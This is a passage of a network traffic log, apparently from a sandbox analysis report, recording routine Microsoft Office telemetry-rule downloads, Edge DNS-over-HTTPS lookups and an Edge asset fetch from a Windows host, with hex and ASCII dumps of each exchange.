2024-11-12 09:37:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: e8ae0579-a01e-00ab-7fa7-349106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093727Z-15869dbbcc6lq45jhC1DFWtecs000000016g0000000049xg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:27 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5703df49-f01e-005d-5fa0-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093727Z-15869dbbcc6pfq2ghC1DFWh2wg0000000160000000005fx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:27 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 081c3a8e-a01e-0053-58d2-2c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093727Z-16547b76f7f7lhvnhC1DFWa2k00000000fc0000000005eb3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:27 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b1270df0-501e-0035-6dd2-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093727Z-16547b76f7flf9g6hC1DFWmcx800000005w000000000feke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49871	162.159.61.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b22bc432d2b-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b9 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49867	172.64.41.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b22cc7f6c20-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 7b 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom{s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49866	172.64.41.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b22de85eadd-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 4b 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomK^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49870	13.107.246.45	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:27 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: d81471c5-b01e-0075-32c3-34efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093727Z-17df447cdb59mt7dhC1DFWqpg40000000bw0000000001z4g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-12 09:37:27 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-12 09:37:28 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-12 09:37:28 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-12 09:37:28 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49872	172.64.41.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 09:37:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 09:37:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e158b24db126b50-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 09:37:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 da 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49873	172.64.41.3	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
